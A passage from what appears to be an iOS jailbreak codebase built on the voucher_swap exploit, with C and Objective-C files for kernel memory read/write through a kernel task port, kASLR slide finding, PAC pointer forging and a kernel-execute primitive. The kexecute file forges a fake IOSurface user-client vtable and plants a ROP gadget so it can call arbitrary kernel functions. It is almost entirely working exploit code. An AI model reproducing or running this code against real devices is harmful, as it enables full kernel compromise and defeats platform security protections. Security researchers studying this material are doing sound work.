21 | bool
22 | kernel_call_init() {
23 |
24 | kernel_task_port = tfpzero;
25 | kernel_task = kernel_read64(find_port(tfpzero) + offsetof_ip_kobject);
26 | current_task = kernel_read64(find_port(mach_task_self()) + offsetof_ip_kobject);
27 |
28 | bool ok = stage1_kernel_call_init()
29 | && stage2_kernel_call_init()
30 | && stage3_kernel_call_init();
31 | if (!ok) {
32 | kernel_call_deinit();
33 | }
34 | return ok;
35 | }
36 |
37 | void
38 | kernel_call_deinit() {
39 | stage3_kernel_call_deinit();
40 | stage2_kernel_call_deinit();
41 | stage1_kernel_call_deinit();
42 | }
43 |
44 | uint32_t
45 | kernel_call_7(uint64_t function, size_t argument_count, ...) {
46 | assert(argument_count <= 7);
47 | uint64_t arguments[7];
48 | va_list ap;
49 | va_start(ap, argument_count);
50 | for (size_t i = 0; i < argument_count && i < 7; i++) {
51 | arguments[i] = va_arg(ap, uint64_t);
52 | }
53 | va_end(ap);
54 | return kernel_call_7v(function, argument_count, arguments);
55 | }
56 |
--------------------------------------------------------------------------------
/kernel_call.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | /*
13 | * kernel_call_init
14 | *
15 | * Description:
16 | * Initialize kernel_call functions.
17 | */
18 | bool kernel_call_init(void);
19 |
20 | /*
21 | * kernel_call_deinit
22 | *
23 | * Description:
24 | * Deinitialize the kernel call subsystem and restore the kernel to a safe state.
25 | */
26 | void kernel_call_deinit(void);
27 |
28 | /*
29 | * kernel_call_7
30 | *
31 | * Description:
32 | * Call a kernel function with the specified arguments.
33 | *
34 | * Restrictions:
35 | * See kernel_call_7v().
36 | */
37 | uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...);
38 |
39 | /*
40 | * kernel_call_7v
41 | *
42 | * Description:
43 | * Call a kernel function with the specified arguments.
44 | *
45 | * Restrictions:
46 | * At most 7 arguments can be passed.
47 | * arguments[0] must be nonzero.
48 | * The return value is truncated to 32 bits.
49 | */
50 | uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]);
51 |
52 | /*
53 | * kernel_forge_pacia
54 | *
55 | * Description:
56 | * Forge a PACIA pointer using the kernel forging gadget.
57 | */
58 | uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context);
59 |
60 | /*
61 | * kernel_forge_pacia_with_type
62 | *
63 | * Description:
64 | * Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the
65 | * type code, as context.
66 | */
67 | uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type);
68 |
69 | /*
70 | * kernel_forge_pacda
71 | *
72 | * Description:
73 | * Forge a PACDA pointer using the kernel forging gadget.
74 | */
75 | uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context);
76 |
77 | /*
78 | * kernel_xpaci
79 | *
80 | * Description:
81 | * Strip a PACIx code from a kernel pointer.
82 | */
83 | uint64_t kernel_xpaci(uint64_t pointer);
84 |
85 | /*
86 | * kernel_xpacd
87 | *
88 | * Description:
89 | * Strip a PACDx code from a kernel pointer.
90 | */
91 | uint64_t kernel_xpacd(uint64_t pointer);
92 |
93 | #endif
94 |
--------------------------------------------------------------------------------
/kernel_memory.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_memory.c
3 | * Brandon Azad
4 | */
5 | #define KERNEL_MEMORY_EXTERN
6 | #include "kernel_memory.h"
7 |
8 | #include "log.h"
9 | #include "mach_vm.h"
10 | #include "parameters.h"
11 |
12 | // ---- Kernel memory functions -------------------------------------------------------------------
13 |
14 | bool
15 | kernel_read(uint64_t address, void *data, size_t size) {
16 | mach_vm_size_t size_out;
17 | kern_return_t kr = mach_vm_read_overwrite(
18 | kernel_task_port,
19 | address,
20 | size,
21 | (mach_vm_address_t) data,
22 | &size_out);
23 |
24 | if (kr != KERN_SUCCESS) {
25 | ERROR("%s returned %d: %s", "mach_vm_read_overwrite", kr, mach_error_string(kr));
26 | ERROR("could not %s address 0x%016llx", "read", address);
27 | return false;
28 | }
29 | if (size_out != size) {
30 | ERROR("partial read of address 0x%016llx: %llu of %zu bytes",
31 | address, size_out, size);
32 | return false;
33 | }
34 | return true;
35 | }
36 |
37 | bool
38 | kernel_write(uint64_t address, const void *data, size_t size) {
39 | kern_return_t kr = mach_vm_write(kernel_task_port, address,
40 | (mach_vm_address_t) data, (mach_msg_size_t) size);
41 | if (kr != KERN_SUCCESS) {
42 | ERROR("%s returned %d: %s", "mach_vm_write", kr, mach_error_string(kr));
43 | ERROR("could not %s address 0x%016llx", "write", address);
44 | return false;
45 | }
46 | return true;
47 | }
48 |
49 | uint8_t
50 | kernel_read8(uint64_t address) {
51 | uint8_t value;
52 | bool ok = kernel_read(address, &value, sizeof(value));
53 | if (!ok) {
54 | return -1;
55 | }
56 | return value;
57 | }
58 |
59 | uint16_t
60 | kernel_read16(uint64_t address) {
61 | uint16_t value;
62 | bool ok = kernel_read(address, &value, sizeof(value));
63 | if (!ok) {
64 | return -1;
65 | }
66 | return value;
67 | }
68 |
69 | uint32_t
70 | kernel_read32(uint64_t address) {
71 | uint32_t value;
72 | bool ok = kernel_read(address, &value, sizeof(value));
73 | if (!ok) {
74 | return -1;
75 | }
76 | return value;
77 | }
78 |
79 | uint32_t
80 | kernel_read_32(uint64_t address, void *data, size_t size) {
81 | uint32_t *value = data;
82 | bool ok = kernel_read(address, &value, size);
83 | if (!ok) {
84 | return -1;
85 | }
86 | return *value;
87 | }
88 |
89 |
90 | uint64_t
91 | kernel_read64(uint64_t address) {
92 | uint64_t value;
93 | bool ok = kernel_read(address, &value, sizeof(value));
94 | if (!ok) {
95 | return -1;
96 | }
97 | return value;
98 | }
99 |
100 | bool
101 | kernel_write8(uint64_t address, uint8_t value) {
102 | return kernel_write(address, &value, sizeof(value));
103 | }
104 |
105 | bool
106 | kernel_write16(uint64_t address, uint16_t value) {
107 | return kernel_write(address, &value, sizeof(value));
108 | }
109 |
110 | bool
111 | kernel_write32(uint64_t address, uint32_t value) {
112 | return kernel_write(address, &value, sizeof(value));
113 | }
114 |
115 | bool
116 | kernel_write64(uint64_t address, uint64_t value) {
117 | return kernel_write(address, &value, sizeof(value));
118 | }
119 |
120 | // ---- Kernel utility functions ------------------------------------------------------------------
121 |
122 | bool
123 | kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
124 | uint64_t *ipc_port, uint64_t *ipc_entry) {
125 | // Get the task's ipc_space.
126 | uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space));
127 | // Get the size of the table.
128 | uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size));
129 | // Get the index of the port and check that it is in-bounds.
130 | uint32_t port_index = MACH_PORT_INDEX(port_name);
131 | if (port_index >= is_table_size) {
132 | return false;
133 | }
134 | // Get the space's is_table and compute the address of this port's entry.
135 | uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table));
136 | uint64_t entry = is_table + port_index * SIZE(ipc_entry);
137 | if (ipc_entry != NULL) {
138 | *ipc_entry = entry;
139 | }
140 | // Get the address of the port if requested.
141 | if (ipc_port != NULL) {
142 | *ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object));
143 | }
144 | return true;
145 | }
146 |
147 |
148 | //----------pwn20 Kernel Read/Write functions------
149 |
150 | #define KERNEL_SEARCH_ADDRESS 0xfffffff007004000
151 |
152 | //uint64_t
153 | //returnKernelBase(uint64_t kernel_slide) {
154 | // return kernel_slide + KERNEL_SEARCH_ADDRESS;
155 | //}
156 | //
157 | //
158 | //size_t kread(uint64_t where, void* p, size_t size)
159 | //{
160 | // int rv;
161 | // size_t offset = 0;
162 | // while (offset < size) {
163 | // mach_vm_size_t sz, chunk = 2048;
164 | // if (chunk > size - offset) {
165 | // chunk = size - offset;
166 | // }
167 | //
168 | // rv = mach_vm_read_overwrite(kernel_task_port,
169 | // where + offset,
170 | // chunk,
171 | // (mach_vm_address_t)p + offset,
172 | // &sz);
173 | // if (rv || sz == 0) {
174 | // //LOG("error reading kernel @%p", (void*)(offset + where));
175 | // break;
176 | // }
177 | // offset += sz;
178 | // }
179 | // return offset;
180 | //}
181 | //
182 | //size_t kwrite(uint64_t where, const void* p, size_t size)
183 | //{
184 | // int rv;
185 | // size_t offset = 0;
186 | // while (offset < size) {
187 | // size_t chunk = 2048;
188 | // if (chunk > size - offset) {
189 | // chunk = size - offset;
190 | // }
191 | // rv = mach_vm_write(kernel_task_port,
192 | // where + offset,
193 | // (mach_vm_offset_t)p + offset,
194 | // (mach_msg_type_number_t)chunk);
195 | // if (rv) {
196 | // //LOG("error writing kernel @%p", (void*)(offset + where));
197 | // break;
198 | // }
199 | // offset += chunk;
200 | // }
201 | // return offset;
202 | //}
203 |
--------------------------------------------------------------------------------
/kernel_memory.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_memory.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_
6 | #define VOUCHER_SWAP__KERNEL_MEMORY_H_
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #ifdef KERNEL_MEMORY_EXTERN
14 | #define extern KERNEL_MEMORY_EXTERN
15 | #endif
16 |
17 |
18 | /*
19 | * kernel_task_port
20 | *
21 | * Description:
22 | * The kernel task port.
23 | */
24 | extern mach_port_t kernel_task_port;
25 |
26 | /*
27 | * kernel_task
28 | *
29 | * Description:
30 | * The address of the kernel_task in kernel memory.
31 | */
32 | extern uint64_t kernel_task;
33 |
34 | /*
35 | * current_task
36 | *
37 | * Description:
38 | * The address of the current task in kernel memory.
39 | */
40 | extern uint64_t current_task;
41 |
42 | /*
43 | * kernel_read
44 | *
45 | * Description:
46 | * Read data from kernel memory.
47 | */
48 | bool kernel_read(uint64_t address, void *data, size_t size);
49 |
50 | /*
51 | * kernel_write
52 | *
53 | * Description:
54 | * Write data to kernel memory.
55 | */
56 | bool kernel_write(uint64_t address, const void *data, size_t size);
57 |
58 | /*
59 | * kernel_read8
60 | *
61 | * Description:
62 | * Read a single byte from kernel memory. If the read fails, -1 is returned.
63 | */
64 | uint8_t kernel_read8(uint64_t address);
65 |
66 | /*
67 | * kernel_read16
68 | *
69 | * Description:
70 | * Read a 16-bit value from kernel memory. If the read fails, -1 is returned.
71 | */
72 | uint16_t kernel_read16(uint64_t address);
73 |
74 | /*
75 | * kernel_read32
76 | *
77 | * Description:
78 | * Read a 32-bit value from kernel memory. If the read fails, -1 is returned.
79 | */
80 | uint32_t kernel_read32(uint64_t address);
81 |
82 |
83 | uint32_t kernel_read_32(uint64_t address, void *data, size_t size);
84 |
85 | /*
86 | * kernel_read64
87 | *
88 | * Description:
89 | * Read a 64-bit value from kernel memory. If the read fails, -1 is returned.
90 | */
91 | uint64_t kernel_read64(uint64_t address);
92 |
93 | /*
94 | * kernel_write8
95 | *
96 | * Description:
97 | * Write a single byte to kernel memory.
98 | */
99 | bool kernel_write8(uint64_t address, uint8_t value);
100 |
101 | /*
102 | * kernel_write16
103 | *
104 | * Description:
105 | * Write a 16-bit value to kernel memory.
106 | */
107 | bool kernel_write16(uint64_t address, uint16_t value);
108 |
109 | /*
110 | * kernel_write32
111 | *
112 | * Description:
113 | * Write a 32-bit value to kernel memory.
114 | */
115 | bool kernel_write32(uint64_t address, uint32_t value);
116 |
117 | /*
118 | * kernel_write64
119 | *
120 | * Description:
121 | * Write a 64-bit value to kernel memory.
122 | */
123 | bool kernel_write64(uint64_t address, uint64_t value);
124 |
125 | /*
126 | * kernel_ipc_port_lookup
127 | *
128 | * Description:
129 | * Get the address of the ipc_port and ipc_entry for a Mach port name.
130 | */
131 | bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
132 | uint64_t *ipc_port, uint64_t *ipc_entry);
133 |
134 | //-------pwn20---- Kernel Read/Write
135 |
136 | uint64_t returnKernelBase(uint64_t kernel_slide);
137 |
138 |
139 | size_t kread(uint64_t where, void* p, size_t size);
140 |
141 | size_t kwrite(uint64_t where, const void* p, size_t size);
142 |
143 |
144 | #undef extern
145 |
146 | #endif
147 |
--------------------------------------------------------------------------------
/kernel_slide.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_slide.c
3 | * Brandon Azad
4 | */
5 | #define KERNEL_SLIDE_EXTERN
6 | #include "kernel_slide.h"
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #include "kernel_memory.h"
13 | #include "log.h"
14 | #include "parameters.h"
15 | #include "platform.h"
16 |
17 | /*
18 | * is_kernel_base
19 | *
20 | * Description:
21 | * Checks if the given address is the kernel base.
22 | */
23 | static bool
24 | is_kernel_base(uint64_t base) {
25 | // Read the data at the base address as a Mach-O header.
26 | struct mach_header_64 header = {};
27 | bool ok = kernel_read(base, &header, sizeof(header));
28 | if (!ok) {
29 | return false;
30 | }
31 | // Validate that this looks like the kernel base. We don't check the CPU subtype since it
32 | // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
33 | // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
34 | // CPU_SUBTYPE_ARM64_V8).
35 | if (!(header.magic == MH_MAGIC_64
36 | && header.cputype == platform.cpu_type
37 | && header.filetype == MH_EXECUTE
38 | && header.ncmds > 2)) {
39 | return false;
40 | }
41 | return true;
42 | }
43 |
44 | bool
45 | kernel_slide_init() {
46 | if (kernel_slide != 0) {
47 | return true;
48 | }
49 | // Get the address of the host port.
50 | mach_port_t host = mach_host_self();
51 | assert(MACH_PORT_VALID(host));
52 | uint64_t host_port;
53 | bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
54 | mach_port_deallocate(mach_task_self(), host);
55 | if (!ok) {
56 | ERROR("could not lookup host port");
57 | return false;
58 | }
59 | // Get the address of realhost.
60 | uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
61 | return kernel_slide_init_with_kernel_image_address(realhost);
62 | }
63 |
64 | bool
65 | kernel_slide_init_with_kernel_image_address(uint64_t address) {
66 | if (kernel_slide != 0) {
67 | return true;
68 | }
69 | // Find the highest possible kernel base address that could still correspond to the given
70 | // kernel image address.
71 | uint64_t base = STATIC_ADDRESS(kernel_base);
72 | assert(address > base);
73 | base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
74 | // Now walk backwards from that kernel base one kernel slide at a time until we find the
75 | // real kernel base.
76 | while (base > STATIC_ADDRESS(kernel_base)) {
77 | bool found = is_kernel_base(base);
78 | if (found) {
79 | kernel_slide = base - STATIC_ADDRESS(kernel_base);
80 | DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
81 | return true;
82 | }
83 | base -= kernel_slide_step;
84 | }
85 | ERROR("could not find kernel base");
86 | ERROR("could not determine kernel slide");
87 | return false;
88 | }
89 |
--------------------------------------------------------------------------------
/kernel_slide.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_slide.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_
6 | #define VOUCHER_SWAP__KERNEL_SLIDE_H_
7 |
8 | #include
9 | #include
10 |
11 | #ifdef KERNEL_SLIDE_EXTERN
12 | #define extern KERNEL_SLIDE_EXTERN
13 | #endif
14 |
15 | /*
16 | * kernel_slide
17 | *
18 | * Description:
19 | * The kASLR slide.
20 | */
21 | extern uint64_t kernel_slide;
22 |
23 | /*
24 | * kernel_slide_init
25 | *
26 | * Description:
27 | * Find the value of the kernel slide using kernel_read() and current_task.
28 | */
29 | bool kernel_slide_init(void);
30 |
31 | /*
32 | * kernel_slide_init_with_kernel_image_address
33 | *
34 | * Description:
35 | * Find the value of the kernel slide using kernel_read(), starting with an address that is
36 | * known to reside within the kernel image.
37 | */
38 | bool kernel_slide_init_with_kernel_image_address(uint64_t address);
39 |
40 | #undef extern
41 |
42 | #endif
43 |
--------------------------------------------------------------------------------
/kexecute.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
5 | void init_kexecute(void);
6 | void term_kexecute(void);
7 |
--------------------------------------------------------------------------------
/kexecute.m:
--------------------------------------------------------------------------------
1 | #include "kmem.h"
2 | #include "kexecute.h"
3 | #include "kern_utils.h"
4 | #include "patchfinder64.h"
5 | #include "offsetof.h"
6 | #include
7 |
8 | mach_port_t prepare_user_client(void) {
9 | kern_return_t err;
10 | mach_port_t user_client;
11 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
12 |
13 | if (service == IO_OBJECT_NULL){
14 | NSLog(@" [-] unable to find service\n");
15 | exit(EXIT_FAILURE);
16 | }
17 |
18 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
19 | if (err != KERN_SUCCESS){
20 | NSLog(@" [-] unable to get user client connection\n");
21 | exit(EXIT_FAILURE);
22 | }
23 |
24 |
25 | NSLog(@"got user client: 0x%x\n", user_client);
26 | return user_client;
27 | }
28 |
29 | int kexecute_lock = 0;
30 | static mach_port_t user_client;
31 | static uint64_t IOSurfaceRootUserClient_port;
32 | static uint64_t IOSurfaceRootUserClient_addr;
33 | static uint64_t fake_vtable;
34 | static uint64_t fake_client;
35 | const int fake_kalloc_size = 0x1000;
36 |
37 | void init_kexecute(void) {
38 | user_client = prepare_user_client();
39 |
40 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
41 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address
42 | NSLog(@"Found port: 0x%llx\n", IOSurfaceRootUserClient_port);
43 |
44 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
45 | NSLog(@"Found addr: 0x%llx\n", IOSurfaceRootUserClient_addr);
46 |
47 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
48 | NSLog(@"Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab);
49 |
50 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
51 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
52 |
53 |
54 | // Create the vtable in the kernel memory, then copy the existing vtable into there
55 | fake_vtable = kalloc(fake_kalloc_size);
56 | NSLog(@"Created fake_vtable at %016llx\n", fake_vtable);
57 |
58 | for (int i = 0; i < 0x200; i++) {
59 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
60 | }
61 |
62 | NSLog(@"Copied some of the vtable over\n");
63 |
64 | // Create the fake user client
65 | fake_client = kalloc(fake_kalloc_size);
66 | NSLog(@"Created fake_client at %016llx\n", fake_client);
67 |
68 | for (int i = 0; i < 0x200; i++) {
69 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
70 | }
71 |
72 | NSLog(@"Copied the user client over\n");
73 |
74 | // Write our fake vtable into the fake user client
75 | wk64(fake_client, fake_vtable);
76 |
77 | // Replace the user client with ours
78 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
79 |
80 | // Now the userclient port we have will look into our fake user client rather than the old one
81 |
82 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
83 | wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
84 |
85 | NSLog(@"Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex");
86 | }
87 |
88 | void term_kexecute(void) {
89 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
90 | kfree(fake_vtable, fake_kalloc_size);
91 | kfree(fake_client, fake_kalloc_size);
92 | }
93 |
94 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
95 |
96 | while (kexecute_lock){
97 | NSLog(@"Kexecute locked. Waiting for 10ms.");
98 | usleep(10000);
99 | }
100 |
101 | kexecute_lock = 1;
102 |
103 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
104 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
105 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
106 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
107 | // through like normal.
108 |
109 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
110 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
111 | // (i'm not actually sure if the switch back is necessary but meh)
112 |
113 |
114 | uint64_t offx20 = rk64(fake_client+0x40);
115 | uint64_t offx28 = rk64(fake_client+0x48);
116 | wk64(fake_client+0x40, x0);
117 | wk64(fake_client+0x48, addr);
118 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
119 | wk64(fake_client+0x40, offx20);
120 | wk64(fake_client+0x48, offx28);
121 | kexecute_lock = 0;
122 | return returnval;
123 | }
124 |
--------------------------------------------------------------------------------
/kmem.c:
--------------------------------------------------------------------------------
1 | #import "kern_utils.h"
2 | #import "patchfinder64.h"
3 | #import "kmem.h"
4 |
5 | #define MAX_CHUNK_SIZE 0xFFF
6 |
7 | size_t kread(uint64_t where, void *p, size_t size) {
8 | int rv;
9 | size_t offset = 0;
10 | while (offset < size) {
11 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE;
12 | if (chunk > size - offset) {
13 | chunk = size - offset;
14 | }
15 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
16 | if (rv || sz == 0) {
17 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where));
18 | break;
19 | }
20 | offset += sz;
21 | }
22 | return offset;
23 | }
24 |
25 | size_t kwrite(uint64_t where, const void *p, size_t size) {
26 | int rv;
27 | size_t offset = 0;
28 | while (offset < size) {
29 | size_t chunk = MAX_CHUNK_SIZE;
30 | if (chunk > size - offset) {
31 | chunk = size - offset;
32 | }
33 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk);
34 | if (rv) {
35 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where));
36 | break;
37 | }
38 | offset += chunk;
39 | }
40 | return offset;
41 | }
42 |
43 | uint64_t kalloc(vm_size_t size){
44 | mach_vm_address_t address = 0;
45 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
46 | return address;
47 | }
48 |
49 | void kfree(mach_vm_address_t address, vm_size_t size){
50 | mach_vm_deallocate(tfpzero, address, size);
51 | }
52 |
53 | uint32_t rk32(uint64_t kaddr) {
54 | uint32_t val = 0;
55 | kread(kaddr, &val, sizeof(val));
56 | return val;
57 | }
58 |
59 | uint64_t rk64(uint64_t kaddr) {
60 | uint64_t val = 0;
61 | kread(kaddr, &val, sizeof(val));
62 | return val;
63 | }
64 |
65 | void wk32(uint64_t kaddr, uint32_t val) {
66 | kwrite(kaddr, &val, sizeof(val));
67 | }
68 |
69 | void wk64(uint64_t kaddr, uint64_t val) {
70 | kwrite(kaddr, &val, sizeof(val));
71 | }
72 |
73 | // thx Siguza
74 | typedef struct {
75 | uint64_t prev;
76 | uint64_t next;
77 | uint64_t start;
78 | uint64_t end;
79 | } kmap_hdr_t;
80 |
81 | uint64_t zm_fix_addr(uint64_t addr) {
82 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0};
83 |
84 | if (zm_hdr.start == 0) {
85 | // xxx rk64(0) ?!
86 | uint64_t zone_map = rk64(find_zone_map_ref());
87 | // hdr is at offset 0x10, mutexes at start
88 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));
89 | printf("zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr));
90 |
91 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {
92 | printf("kread of zone_map failed!\n");
93 | exit(1);
94 | }
95 |
96 | if (zm_hdr.end - zm_hdr.start > 0x100000000) {
97 | printf("zone_map is too big, sorry.\n");
98 | exit(1);
99 | }
100 | }
101 |
102 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff);
103 |
104 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;
105 | }
106 |
107 | int kstrcmp(uint64_t kstr, const char* str) {
108 | // XXX be safer, dont just assume you wont cause any
109 | // page faults by this
110 | size_t len = strlen(str) + 1;
111 | char *local = malloc(len + 1);
112 | local[len] = '\0';
113 |
114 | int ret = 1;
115 |
116 | if (kread(kstr, local, len) == len) {
117 | ret = strcmp(local, str);
118 | }
119 |
120 | free(local);
121 |
122 | return ret;
123 | }
124 |
--------------------------------------------------------------------------------
/kmem.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | uint64_t kalloc(vm_size_t size);
4 | void kfree(mach_vm_address_t address, vm_size_t size);
5 |
6 | size_t kread(uint64_t where, void *p, size_t size);
7 | uint32_t rk32(uint64_t kaddr);
8 | uint64_t rk64(uint64_t kaddr);
9 |
10 | size_t kwrite(uint64_t where, const void *p, size_t size);
11 | void wk32(uint64_t kaddr, uint32_t val);
12 | void wk64(uint64_t kaddr, uint64_t val);
13 |
14 | uint64_t zm_fix_addr(uint64_t addr);
15 |
16 | int kstrcmp(uint64_t kstr, const char* str);
17 |
--------------------------------------------------------------------------------
/launch.h:
--------------------------------------------------------------------------------
1 | #ifndef __XPC_LAUNCH_H__
2 | #define __XPC_LAUNCH_H__
3 |
4 | /*!
5 | * @header
6 | * These interfaces were only ever documented for the purpose of allowing a
7 | * launchd job to obtain file descriptors associated with the sockets it
8 | * advertised in its launchd.plist(5). That functionality is now available in a
9 | * much more straightforward fashion through the {@link launch_activate_socket}
10 | * API.
11 | *
12 | * There are currently no replacements for other uses of the {@link launch_msg}
13 | * API, including submitting, removing, starting, stopping and listing jobs.
14 | */
15 |
16 | #include
17 | #include
18 |
19 | #include
20 | #include
21 | #include
22 | #include
23 |
24 | #if __has_feature(assume_nonnull)
25 | _Pragma("clang assume_nonnull begin")
26 | #endif
27 | __BEGIN_DECLS
28 |
29 | #define LAUNCH_KEY_SUBMITJOB "SubmitJob"
30 | #define LAUNCH_KEY_REMOVEJOB "RemoveJob"
31 | #define LAUNCH_KEY_STARTJOB "StartJob"
32 | #define LAUNCH_KEY_STOPJOB "StopJob"
33 | #define LAUNCH_KEY_GETJOB "GetJob"
34 | #define LAUNCH_KEY_GETJOBS "GetJobs"
35 | #define LAUNCH_KEY_CHECKIN "CheckIn"
36 |
37 | #define LAUNCH_JOBKEY_LABEL "Label"
38 | #define LAUNCH_JOBKEY_DISABLED "Disabled"
39 | #define LAUNCH_JOBKEY_USERNAME "UserName"
40 | #define LAUNCH_JOBKEY_GROUPNAME "GroupName"
41 | #define LAUNCH_JOBKEY_TIMEOUT "TimeOut"
42 | #define LAUNCH_JOBKEY_EXITTIMEOUT "ExitTimeOut"
43 | #define LAUNCH_JOBKEY_INITGROUPS "InitGroups"
44 | #define LAUNCH_JOBKEY_SOCKETS "Sockets"
45 | #define LAUNCH_JOBKEY_MACHSERVICES "MachServices"
46 | #define LAUNCH_JOBKEY_MACHSERVICELOOKUPPOLICIES "MachServiceLookupPolicies"
47 | #define LAUNCH_JOBKEY_INETDCOMPATIBILITY "inetdCompatibility"
48 | #define LAUNCH_JOBKEY_ENABLEGLOBBING "EnableGlobbing"
49 | #define LAUNCH_JOBKEY_PROGRAMARGUMENTS "ProgramArguments"
50 | #define LAUNCH_JOBKEY_PROGRAM "Program"
51 | #define LAUNCH_JOBKEY_ONDEMAND "OnDemand"
52 | #define LAUNCH_JOBKEY_KEEPALIVE "KeepAlive"
53 | #define LAUNCH_JOBKEY_LIMITLOADTOHOSTS "LimitLoadToHosts"
54 | #define LAUNCH_JOBKEY_LIMITLOADFROMHOSTS "LimitLoadFromHosts"
55 | #define LAUNCH_JOBKEY_LIMITLOADTOSESSIONTYPE "LimitLoadToSessionType"
56 | #define LAUNCH_JOBKEY_LIMITLOADTOHARDWARE "LimitLoadToHardware"
57 | #define LAUNCH_JOBKEY_LIMITLOADFROMHARDWARE "LimitLoadFromHardware"
58 | #define LAUNCH_JOBKEY_RUNATLOAD "RunAtLoad"
59 | #define LAUNCH_JOBKEY_ROOTDIRECTORY "RootDirectory"
60 | #define LAUNCH_JOBKEY_WORKINGDIRECTORY "WorkingDirectory"
61 | #define LAUNCH_JOBKEY_ENVIRONMENTVARIABLES "EnvironmentVariables"
62 | #define LAUNCH_JOBKEY_USERENVIRONMENTVARIABLES "UserEnvironmentVariables"
63 | #define LAUNCH_JOBKEY_UMASK "Umask"
64 | #define LAUNCH_JOBKEY_NICE "Nice"
65 | #define LAUNCH_JOBKEY_HOPEFULLYEXITSFIRST "HopefullyExitsFirst"
66 | #define LAUNCH_JOBKEY_HOPEFULLYEXITSLAST "HopefullyExitsLast"
67 | #define LAUNCH_JOBKEY_LOWPRIORITYIO "LowPriorityIO"
